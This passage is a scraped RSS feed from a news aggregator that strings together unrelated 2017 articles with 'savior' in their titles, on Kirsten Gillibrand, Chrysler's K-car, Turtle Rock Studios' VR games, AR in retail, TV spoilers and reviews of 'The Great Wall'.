Some argue that this larger narrative about Gillibrand’s lack of authenticity — the belief that she is “too transparently opportunistic to be a viable candidate,” as Scotti put it — may be her death knell. 

“The narrative about her isn’t going to be Kirsten Gillibrand, champion for women,” Scotti said. “It’s going to be Kirsten Gillibrand, champion for one woman.” 

NOW WATCH: Here’s how the map of the United States has changed in 200 years

]]> https://briefnews.eu/democrats-are-torn-over-whether-kirsten-gillibrand-can-be-their-2020-savior-from-trump/feed/ 0 Remembering the K-Car: Chrysler’s Savior Gets No Respect https://briefnews.eu/remembering-the-k-car-chryslers-savior-gets-no-respect/ https://briefnews.eu/remembering-the-k-car-chryslers-savior-gets-no-respect/#respond Sat, 30 Dec 2017 08:10:46 +0000 http://briefnews.eu/remembering-the-k-car-chryslers-savior-gets-no-respect/ Remembering the K-Car: Chrysler's Savior Gets No Respect

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In the early ’80s, Chrysler was saved from financial ruin by selling the front-drive K-car, a nice Reliant automobile that would spawn numerous inexpensive-to-produce variants. As disrespected as it was versatile, the lowly K-car spread its plebeian roots and survived until 1995. Cue the highlight reel: READ MORE ››

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]]> https://briefnews.eu/remembering-the-k-car-chryslers-savior-gets-no-respect/feed/ 0 Gear VR was the ‘Evolve’ and ‘Left 4 Dead’ studio’s savior https://briefnews.eu/gear-vr-was-the-evolve-and-left-4-dead-studios-savior/ https://briefnews.eu/gear-vr-was-the-evolve-and-left-4-dead-studios-savior/#respond Sun, 24 Dec 2017 14:00:08 +0000 http://briefnews.eu/gear-vr-was-the-evolve-and-left-4-dead-studios-savior/

“Chaotic.” That’s how Turtle Rock Studios president Steve Goldstein described the 14 months between its last AAA game, Evolve, being effectively killed and now. The four-hunter-versus-one-gigantic-monster online multiplayer game struggled to retain players after it was released for PC, PlayStation 4 and Xbox One in early 2015.

Last June, Evolve transitioned from a $ 60 game to a free-to-play one. As a result, it went from roughly 100 players per month to more than 15,000. You’d think that would have been enough to keep the lights on, but you’d be wrong. Four months later, publisher 2K Games pulled the plug, saying that while the servers would remain online for the foreseeable future, the game wouldn’t be getting any more updates.

“It was absolutely looking bleak, but sadly that’s not unusual in our space,” Goldstein said. “Everyone who works here knows that they are taking a risk, right? That’s not a problem unique to us.”

If all you’ve paid attention to are headlines on gaming and tech news sites, you’d think that Turtle Rock has been on the ropes ever since. But in the last year or so, thanks to Oculus’ aggressive investments in virtual reality games and other experiences, Turtle Rock has been quietly building a mobile VR safety net in case its next $ 100 million project goes the way of Evolve.

“We knew we needed to do something besides being a one-game studio,” Goldstein said. The team had developed a relationship with Oculus’ current VP of content Jason Rubin while he was at THQ, the now-defunct original publisher for Evolve.

After chatting with Rubin at his new Facebook-sponsored digs and finding out what Oculus was looking for, Turtle Rock put together Other Worlds, a quiet, meditative experience that places you inside a trio of gorgeous 360-degree panoramas. It’s not really a game in the traditional sense — you’re stuck in place, for one — but it gave Oculus enough confidence in the studio to let it keep experimenting.

Turtle Rock’s next project, 2016’s Face Your Fears, was a little more traditional. It’s a free-to-play jump-scare game that puts you in situations like a prop plane whose engine started sputtering or a child’s bedroom where malevolent clown dolls fall off bookshelves and closet doors open and slam shut. So far it’s racked up 1.6 million downloads — almost double the number of players Evolve had at its free-to-play peak. That isn’t lost on the team.

Studio co-founder and design director Chris Ashton said that there was pressure to succeed with VR given the Left 4 Dead creator’s AAA lineage. “We’re always proud of the product we deliver, so the expectation was that we would basically go into VR and we would kick ass,” he said.

Which brings us to the team’s latest project, The Well. Throughout our conversation, the team kept referring to The Well as its “first” VR game despite its prior work in the space, and the team hopes it’s a lot of players’ first role-playing game in general.

Turtle Rock Studios/Oculus

You pick a character archetype, and then a baphomet-like god (above) sends you on a quest to defeat a demon hell-bent on destroying the painterly world of Tholl. Along the way, you level up, meet and recruit new party members and take part in countless random turn-based battles. It might sound simplistic, but this is a brand-new medium for the studio on a nascent platform where “Turtle Rock” doesn’t mean much, if anything.

The team spent a bulk of its development time on The Well solving basic problems that haven’t been an issue in decades. Specifically, moving around an environment in first person. Get it wrong in VR and you could make the player sick. When I played the game this week with turning and movement speed set to “high” I felt nauseous, but bumping it down a notch to “medium” made for a much more enjoyable time.

“There’s a lot more ways to make someone super nauseated in VR than there are to make it a comfortable, fun experience,” said Chloe Skew, a producer on The Well.

The game came out in October, but so far hasn’t attracted an audience to the degree Face Your Fears has. Exact download numbers weren’t available at press time, but in two months, the game only has 44 reviews on the mobile marketplace; Face Your Fears has almost 29,000.

We’re a triple-A studio, we’re always proud of the product we deliver, so the expectation was we’d go into VR and we would kick ass.

There’s a big difference between the two, though: The latter is free, whereas The Well costs $ 5. Goldstein chalks that up to the fact that the GearVR platform as a whole caters toward casual consumers who don’t spend money on games and likely got their headset as part of a promo. For him, releasing The Well on GearVR was an experiment.

Chris Ashton, Turtle Rock co-founder

“We wanted to see how much of our audience that we currently have would would potentially convert” to paying for a game, Ashton said. One tactic for that is advertising The Well within Face Your Fears to see if that will give it a sales bump. Goldstein is counting on the all-in-one Oculus Go to be the “full-blown launch” of The Well and where the game finds its player-base. He said that at that point, people will have paid $ 200 for the headset so they’ll be primed to buy games for it, increasing the likelihood that they’ll spend more than just a few minutes in VR.

The game’s current sales don’t mean that the team is moving on and going back to the cheap thrills a free jump-scare game provides. They also don’t mean Turtle Rock is going to abandon VR and return to making games for platforms like PC and consoles where the studio’s reputation alone is enough to attract players. Beyond re-learning game design fundamentals like player locomotion, VR allows Turtle Rock to rebuild its reputation from scratch too.

Goldstein spoke of a 50-something Swedish woman who loves filming herself getting frightened by playing Face Your Fears; she then uploads the footage to YouTube. “I can guarantee you she’s never heard of Evolve or Left 4 Dead,” he said. “She’s awesome.” But isn’t that frustrating? Spending 15 years building a name as a studio only to have to start from scratch with a new audience?

“I think it’s liberating, actually,” said art director Justin Cherry. There are a few reasons for that. For one, it gives the studio a chance to make its name mean something for an entirely new audience that otherwise wouldn’t have heard of it. It makes sense from a business perspective too. If the studio’s pitching a first-person shooter to a typical publisher, almost everyone is going to take a meeting with the Left 4 Dead team. But if it’s pitching an RPG like The Well that might not be the case.

The Well uses the GearVR controller for interacting with the world.

“Let’s say one of these other titles that we’re working on that is in a genre we’ve never done before moves a million units or two million units,” Goldstein proposed. “This is a huge opportunity for us to expand our business.”

Goldstein said that had it not found early success with its Oculus work it probably wouldn’t have kept at it. After all, despite Facebook’s absurdly deep pockets, it isn’t going to repeatedly invest in failure. He said that Turtle Rock’s smaller-scale VR games weren’t initially a way to subsidize the risk of making $ 100 million AAA games, even though that’s kind of what’s happened as a matter of course.

In the meantime, there are still months before the Go’s ambiguous “early 2018” release window, and Turtle Rock still has work to do. Currently, the studio has an unannounced AAA game in the pipeline, in addition to a pair of VR projects. “Could the Go be a dud? I have no idea,” Cherry said. “What I do know is when Mark Zuckerberg says he wants a billion people in VR, he’s going to find way to get there, so if it’s not the Go, it’s gonna be something.”

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]]> https://briefnews.eu/gear-vr-was-the-evolve-and-left-4-dead-studios-savior/feed/ 0 AR isn’t a gimmick — it’s a savior for local retail https://briefnews.eu/ar-isnt-a-gimmick-its-a-savior-for-local-retail/ https://briefnews.eu/ar-isnt-a-gimmick-its-a-savior-for-local-retail/#respond Tue, 12 Dec 2017 00:49:41 +0000 http://briefnews.eu/ar-isnt-a-gimmick-its-a-savior-for-local-retail/

GUEST:

3 ways that AR could save retail

When new technology platforms emerge, traditional retail typically gets disrupted — and often in painful ways. Consumers generally benefit from the added convenience and cost reductions from e-commerce in the short-term. However, the dominance of companies like Amazon has resulted in many retailers and small businesses closing up shop and laying off employees.

Fortunately, the next emerging tech platform, augmented reality (AR), could result in a resurgence of in-person retail shopping. I’ve interviewed several AR influencers who discuss how the technology can reverse the implosion of retail and incentivize customers to physically visit shopping locations.

Reducing customer churn

The broader trend in retail, particularly among millennials, is a shift in focus from products toward experiences. For this reason, many customers still choose to visit a physical shop even if it may be more convenient to order the item online. People still, at large, value the interaction and experience that comes with physical location shopping. For retailers, this presents an opportunity to leverage technology to literally augment the value of their products for their customers.

Alice Bonasio is a journalist and consultant who covers the AR and VR industry. She expands on this point, “the ability for customers to ‘try before you buy’ will result in a reduction in churn, one of the major pain points for retailers. When it comes to larger items like furniture or household appliances, one of the biggest drawbacks for consumers is that they misjudge the amount of space they have available or dislike the way the item looks once it’s actually in their home. This buyer’s remorse is a huge drain on resources for retailers.”

Bonasio continues, “However, AR allows customers to see an item in-store and then project it realistically back at home before finalizing the process by placing the order online. Such omnichannel experiences will make in-person shopping a value add to the consumer and help retailers avoid churn.”

Augmenting customer support

The promise of the internet was a world in which borders and locations became irrelevant. Ironically, in the past few decades, “global cities” such as San Francisco, Tokyo, and London have become more economically competitive while less prominent urban centers have fallen behind. Fortunately, AR may be the first platform that can fully deliver on this promise, by enabling people in remote locations to provide on-site customer support.

Cathy Hackl is an AR influencer, global speaker and author of Marketing New Realities. She expands on this theme, “in a future where customers walk around wearing mixed reality glasses, it will be possible to provide on-site holographic customer support. Imagine a handicapped woman in West Virginia working remotely on a VR headset, holographically projected onto an information desk at a mall or airport in San Francisco. This would enable all of the benefits that customers would gain from an in-person interaction, save costs by not having to hire more expensive local staff, while making a positive social impact on rural communities that don’t have access to jobs.

Hackl continues, “holographic AR customer support wouldn’t just replace our current experience, but dramatically improve it, particularly if artificial intelligence (AI) is implemented as part of the experience. A store’s holographic customer support agent would be able to instantly produce an infinite number of 3D digital representations of real products for customers. The customer could then interact and play with a range of digital products while also gaining real-time enhanced data. What’s the products story? What materials were used? What color variations can be tried? What sizes are in stock in the store? All of this information would be available on-demand, thus revolutionizing the customer support experience.”

Fun experiences result in foot traffic

The popularity of Pokemon Go showed that, when properly incentivized, customers will walk to physical locations in their cities to acquire digital assets and experiences. The implications of this new consumer behavior are significant for restaurants, retailers, and other businesses that rely on foot traffic. During the zenith of the Pokemon Go phenomenon, many business owners reported doubling their sales due to players of the location-based mobile game.

Keith Curtin is the founder of See Digital, a consultancy that helps brands with their AR strategy. He expands on this point, “there are numerous ways in which AR will help retailers gain more visitors. First, special deals can be combined with engaging game experiences to entice people to show up. Brands can launch massively multiplayer scavenger hunts that result in players gaining access to limited-time deals. Through the use of AI-enabled AR avatars, it will be possible for celebrities to act as personal shopping assistants to people, thus making the experience more personal and engaging, but at scale.”

Curtin expands on this idea, “AR adds further value for companies by producing completely new valuable data sets about consumers. Brand engagement through augmented reality apps allows you to see how your customers are interacting with your products across 3D space and time – something that has never existed before. These data sets are extremely valuable for retargeting and building brand loyalty.”

Beware of gimmicks

Given the current state of AR, it’s understandable to be skeptical that the technology could impact retail in a significant way. It’s for this reason that brands should focus on designing experiences that address real customer problems with practical solutions. If a company’s AR tool doesn’t improve the user experience of its customers, it doesn’t make sense to invest in AR.

Sanem Avcil is an AR influencer and developer. She expands on this point, “brands that use AR need to focus on customer needs and the specific ways in which AR can improve the customer journey. How can AR make shopping more seamless, whether at the store or online? Research the types of AR solutions that are available and see if they will really help the customer by saving them time and money or helping them make better purchasing decisions. Ultimately, your decision should be based on whether or not you can increase foot traffic to your location and improve customer engagement once people are inside.”

Michael Park is the CEO and founder of PostAR, a platform that lets you build, explore, and share augmented realities.

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]]> https://briefnews.eu/ar-isnt-a-gimmick-its-a-savior-for-local-retail/feed/ 0 Game of Thrones: A Brief History of Benjen Stark, [Spoiler]'s Icy Savior https://briefnews.eu/game-of-thrones-a-brief-history-of-benjen-stark-spoilers-icy-savior/ https://briefnews.eu/game-of-thrones-a-brief-history-of-benjen-stark-spoilers-icy-savior/#respond Mon, 21 Aug 2017 02:36:34 +0000 http://briefnews.eu/game-of-thrones-a-brief-history-of-benjen-stark-spoilers-icy-savior/ Warning: This post contains spoilers for Sunday’s Game of Thrones.

Fire met ice in a big way on Sunday’s Game of Thrones… but it wasn’t Dany’s fire-breathing dragons that ultimately saved Jon Snow from the chilly clutches of the Night King.

Instead, Benjen Stark — a character we last saw in the Season 6 finale — swooped in to rescue Jon Snow just as the undead army was closing in. Benjen sacrificed himself (we think), allowing Jon to take his horse to escape back to Eastwatch. But saving Starks from certain death is kind of what Benjen does. After all, he is a Stark.

Game of Thrones Benjen Stark Season 1 Jon SnowWe first met Benjen way back in Season 1 (played by Ripper Street‘s Joseph Mawle), when he was still a living, breathing, de-iced human, and brother to Jon’s father Ned Stark. Benjen’s the one who first invited Jon to join the Night’s Watch, serving as a mentor to his young nephew. But when Benjen ventured north of the Wall one day, he vanished, his horse eventually returning to Castle Black without him. And the next time we saw him, he was much different.

Game of Thrones Season 6 Episode 6In Season 6, when Bran Stark and Meera were beyond the Wall and surrounded by a horde of wights, a hooded figure rode up swinging a flaming chain, pulling the two onto his horse and riding them away to safety. Later, the hooded figure revealed himself as Benjen and filled Bran in on what happened to him: He was attacked by white walkers, who stabbed him in the gut with an ice sword and left him for dead. The Children of the Forest found him and saved his life by plunging a shard of dragonglass into his heart… but it left him sort of half undead, with pale, blue-ish skin. (That still beats fully dead, though.)

He’s dead enough that he couldn’t follow Bran and Meera when they passed through the Wall in the Season 6 finale. But he vowed to continue battling the undead on the north side of the Wall: “The Great War is coming… I still fight for the living. I’ll do what I can, as long as I can.” And indeed, he did. In the final shot of him this week, it appeared that he was killed by that swarm of wights — but then again, we’ve seen him survive their attacks before. So maybe this isn’t the last we’ve seen of Uncle Benjen, eh?

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]]> https://briefnews.eu/game-of-thrones-a-brief-history-of-benjen-stark-spoilers-icy-savior/feed/ 0 The Walking Dead season 8 spoiler: Is THIS how Savior Simon will DIE?  https://briefnews.eu/the-walking-dead-season-8-spoiler-is-this-how-savior-simon-will-die/ https://briefnews.eu/the-walking-dead-season-8-spoiler-is-this-how-savior-simon-will-die/#respond Sat, 29 Apr 2017 19:02:04 +0000 http://briefnews.eu/the-walking-dead-season-8-spoiler-is-this-how-savior-simon-will-die/

Simon (played by Steven Ogg) is one of Negan’s (Jeffrey Dean Morgan) right-hand men and thus a man who who has enemies. 

After torturing Maggie’s (Lauren Cohen) Hilltop throughout season seven, could the upcoming eighth season finally see the end of evil Simon?

Steven appears to think so, telling ScreenRant: “Well, I always say… Look, everyone is going to die, right? Everyone is going to die on the show, at some point. 

“So, I sort of take it like, well yeah, it is what it is, when it happens it happens and of course when it does happen I will probably cry and curl up in the feral position and say, ‘Why? Why me?’

“But it’s part of it. Especially in this world, you know that there is limited time on you,” the 43-year-old continued. 

With an upcoming death looming, Steven has already come up with his own theory on how his character could say his final farewell. 

The star went on: “The best way for Simon to go out? Probably drinking and stumbling out and getting hit by a car or something like that. 

“Something random, like he wasn’t killed by a zombie, he wasn’t killed by anyone, he was just being dumb. It’d be poetic justice,” Steven joked. 

However, the actor teased that there is still more to come from Simon, teasing: “Hopefully he gets up to some fun [in season eight].

“I mean, you know, it is all out war about to happen. No secret that the s**t’s going down, so it will be interesting to see where Simon fits into that world, and if he steps up to the plate and becomes more proactive,” Steven added. 

The Walking Dead is expected to return to FOX UK later this year. 

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]]> https://briefnews.eu/the-walking-dead-season-8-spoiler-is-this-how-savior-simon-will-die/feed/ 0 Critics tear down Matt Damon’s new blockbuster ‘The Great Wall’: a ‘tedious’ ‘white savior’ movie https://briefnews.eu/critics-tear-down-matt-damons-new-blockbuster-the-great-wall-a-tedious-white-savior-movie/ https://briefnews.eu/critics-tear-down-matt-damons-new-blockbuster-the-great-wall-a-tedious-white-savior-movie/#respond Fri, 17 Feb 2017 19:40:49 +0000 http://briefnews.eu/critics-tear-down-matt-damons-new-blockbuster-the-great-wall-a-tedious-white-savior-movie/ the great wall 1 universalUniversal

Matt Damon plays a mercenary who travels east in search of black powder and instead finds himself battling monsters in “The Great Wall” (in theaters this weekend).

What might have been considered an outlandish blockbuster a decade ago is now looked at more skeptically in 2017. Many see Damon’s new movie, an American/Chinese coproduction in which he is the lead and surrounded by Asian actors, as Hollywood’s latest example of whitewashing.

#ThankYouMattDamon has even gone viral on Twitter, with people sarcastically thanking Damon for everything he’s done for Asian culture.

Now critics have chimed in, and it’s not just the whitewashing allegations they see as a problem for the movie, which currently has a 38% rating on Rotten Tomatoes.

Here’s what critics are saying about the movie:

The movie is just dull.

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Though the movie was directed by acclaimed Chinese director Zhang Yimou (“House of Flying Daggers”), its plot and action are predictable and extremely watered down, according to the scribes.

As USA Today puts it: “‘The Great Wall’ would probably be a lot more culturally offensive if it wasn’t such a complete trainwreck.”

The Chicago Tribune called it: “A monster movie, a white savior movie, and an extremely tedious movie.”

There’s some cool CGI, but that’s not enough to save it.

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As in all of Yimou’s work, visual effects are prevalent, but not even beautiful CGI-generated landscapes and huge creature battles will keep you interested.

“There are plenty of fun CGI monster-skewering scenes,” Empire said, “but a clunky plot, rigid script, and equally stiff acting make this a crumbling disappointment, if not quite a disaster.”

And the dialogue is just plain weird.

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There are certain moments in the movie when you don’t know if suddenly the actors forgot they were supposed to be playing characters in ancient China. Modern slang is repeatedly used. One character says “b—-” and a few say “I heard that!” Pretty sure neither was around in those days.

The Hollywood Reporter sums up the movie this way: “‘The Great Wall’ is easily the least interesting and involving blockbuster of the respective careers of both its director and star.”


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]]> https://briefnews.eu/critics-tear-down-matt-damons-new-blockbuster-the-great-wall-a-tedious-white-savior-movie/feed/ 0 How the Gloriously Goofy ‘Great Wall’ Both Embraces and Subverts the “White Savior” Narrative https://briefnews.eu/how-the-gloriously-goofy-great-wall-both-embraces-and-subverts-the-white-savior-narrative/ https://briefnews.eu/how-the-gloriously-goofy-great-wall-both-embraces-and-subverts-the-white-savior-narrative/#respond Thu, 16 Feb 2017 19:44:38 +0000 http://briefnews.eu/how-the-gloriously-goofy-great-wall-both-embraces-and-subverts-the-white-savior-narrative/ When the initial photos and trailers for The Great Wall were released last summer, they were quickly eclipsed by complaints that, yet again, a story of people of color was being told through the eyes of a white protagonist — in this case, star Matt Damon. Fresh Off the Boat star Constance Wu led the charge, tweeting, “We have to stop perpetuating the racist myth that [only a] white man can save the world. It’s not based in actual fact. Our heroes don’t look like Matt Damon.” To the casual observer (and, y’know, most of us are), this looked like yet another Exodus: Gods and Kings“white-washing” situation, in which a white director cast white actors as Egyptian prophets and pharaohs, and shrugged it off as the necessities of the marketplace. But it turns out The Great Wall controversy is much more complicated than that – because of the filmmaker behind it, and the kind of film he chose to make.

That filmmaker is Zhang Yimou, the visionary director of Hero, House of Flying Daggers, and Curse of the Golden Flower – ornate, beautifully designed, period Chinese-language epics, often with a martial arts element. And it is indisputably his film; one of its greatest pleasures, for those familiar with his filmography, is how much fun he’s clearly having playing with all his expensive toys. It’s a pleasure to watch him orchestrate these giant set pieces of gorgeous pageantry, organized attack, and pounding drums (à la his acclaimed Beijing Olympics opening ceremony).

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From that description, it sounds like a fairly typical Zhang movie, so if we had, say, a Curse of the Golden Flower with Matt Damon in the Chow Yun-Fat role, that’d be cause for concern. And from the title and posters, you’d think it’s some sort of historical action drama about the Great Wall of China – based, as Wu put it, “in actual fact.” So if you’ve not seen the trailers (as I somehow hadn’t), you might surprised to learn that this is the story of Damon assisting Chinese warriors in the destruction of a giant army of green lizard-like monsters. No, I’m not kidding. The more I think about this entire package – an expensive Chinese-American co-production that’s as reminiscent of Godzilla as any of Zhang’s previous work – the less I can believe it actually exists.

But it does, and once you grant the film its fundamentally ridiculous premise, it becomes so much more enjoyable than some artful, respectable epic. It’s a B-movie – a mega-budgeted, multi-national Roger Corman production. And it’s got all the inherent attributes of one: pricy yet somehow chintzy-looking effects, goofy and overdone 3D whammys (they don’t just give you arrows, blades, and axes flying directly from the screen, like it’s Comin’ At Ya or something; there’s a moment of 3D back-clop dirt under a horse’s hoof), cornball dialogue (“I set you free.” “And here I am”), and gory monster deaths. And, particularly in the witty banter between Damon and buddy Tovar (Pedro Pascal), it has a sense of humor about itself. I mean, how could it not?

So how seriously do we take such a controversy when it’s attached to a film this silly? In many ways, the casting question goes to a bedrock principle of criticism: what exactly was the filmmaker trying to achieve? In this case, Chinese director Zhang has made his intentions clear: “a film deeply rooted in Chinese culture, with one of the largest Chinese casts ever assembled, is being made at tent pole scale for a world audience… As the director of over 20 Chinese language films and the Beijing Olympics, I have not and will not cast a film in a way that was untrue to my artistic vision.” That seems like an perspective that should matter.

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But the question persists. If he’s not technically “whitewashing” – the role Damon plays is that of a white outsider, and per Zhang, “There are five major heroes in our story and he is one of them, the other four are all Chinese” – is Zhang’s film perpetuating the “white savior” trope in the pursuit of the worldwide dollar? It’s an easy case to mount; after the first attack, one Chinese soldier literally tells Damon, “Thank you for saving my life.” But you can also read a moment like that as a wink. As film critic Bob Chipman notes, it absorbs the white savior tropes, all the while slyly indicating that Damon’s character is overwhelmed by this Chinese army’s skill, strength, and innovation, and that it’s both to his own personal benefit and that of said army when he jettisons his Western individualism and becomes part of their cohesive whole. He may be the star of the movie, but Tian Jing’s Commander Lin Mae is its hero, a brave, selfless, and brilliant warrior surrounded by advisors and soldiers (including Andy Lau, Hanyu Zhang, and Lu Han) of the same temperament. Damon, on the other hand, is a greedy and dishonorable soldier-for-hire (albeit a redeemable one, this being a movie); the only other white person in the movie is Willem Dafoe, who in a shocking twist on his usual persona, turns out to be not entirely trustworthy.

Your mileage will probably vary as to The Great Wall’s overall quality. It is, as mentioned, a mighty silly and indisputably predictable bit of business, and while visually arresting, it’s also often too choppy and overwhelming for its own good. But it’s ultimately a good, goofy time, and a reminder that in this era of Problematics, context matters. It is, obviously, important to view mass art through the lens of representation (I’ve written those pieces; we all have). But much of what’s written – or, at least, read – about mainstream cinema as of late bends to the troubling trend of viewing art solely through that lens, without considering the kind of movie that is being made, the kind of filmmaker that’s making it, or the kind of audience it’s reaching (Chinese moviegoers, for the record, don’t seem to mind Damon fronting the picture; he’s as big a star there as he is here, if not bigger). If we’re not weighing all of those questions equally, we’re not writing commentary, or even criticism. We’re ticking off boxes on checklists.

The Great Wall is out Friday.

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